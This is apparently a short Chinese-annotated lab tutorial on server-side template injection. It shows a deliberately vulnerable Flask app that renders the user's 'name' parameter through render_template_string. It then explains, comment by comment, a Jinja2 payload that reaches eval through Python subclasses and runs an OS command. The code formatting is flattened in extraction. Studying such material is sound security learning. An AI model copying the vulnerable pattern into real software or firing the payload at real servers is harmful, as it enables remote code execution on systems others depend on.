import re from flask import Flask,render_template_string,request app=Flask(__name__) indexhtml=""" <html> <title>just a test</title> <body><h1> why not come <a href="ssti">here </a>to have a look</h1> </h1></body> </html> """ whoareuhtml=""" <html> <title>here s ssti</title> <body> <h3>you should tell me who you are then i can say hello to u!(use ?name= in url)</h3> </body> </html> """ tinyhtml=""" <html> <title>here s ssti</title> <body> <h1>hello %s</h1> </body> </html> """ @app.route("/index") @app.route("/") defindex(): return indexhtml @app.route("/ssti") defssti(): name=request.args.get("name") ifnot name: return render_template_string(whoareuhtml) else: return render_template_string(tinyhtml%name) if __name__=="__main__": app.run(debug=True)
一道payload解析
1 2 3 4 5 6 7 8 9 10 11
{% for c in [].__class__.__base__.__subclasses__() %} #利用数组的父类+子类 {% if c.__name__ == 'catch_warnings' %} #catch_warnings是什么鬼? 原因是需要的函数往往在catching_warnings下 {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} #这是何意? {% if'eval'in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} #至于{%%}这些东西,是用来在html里执行python代码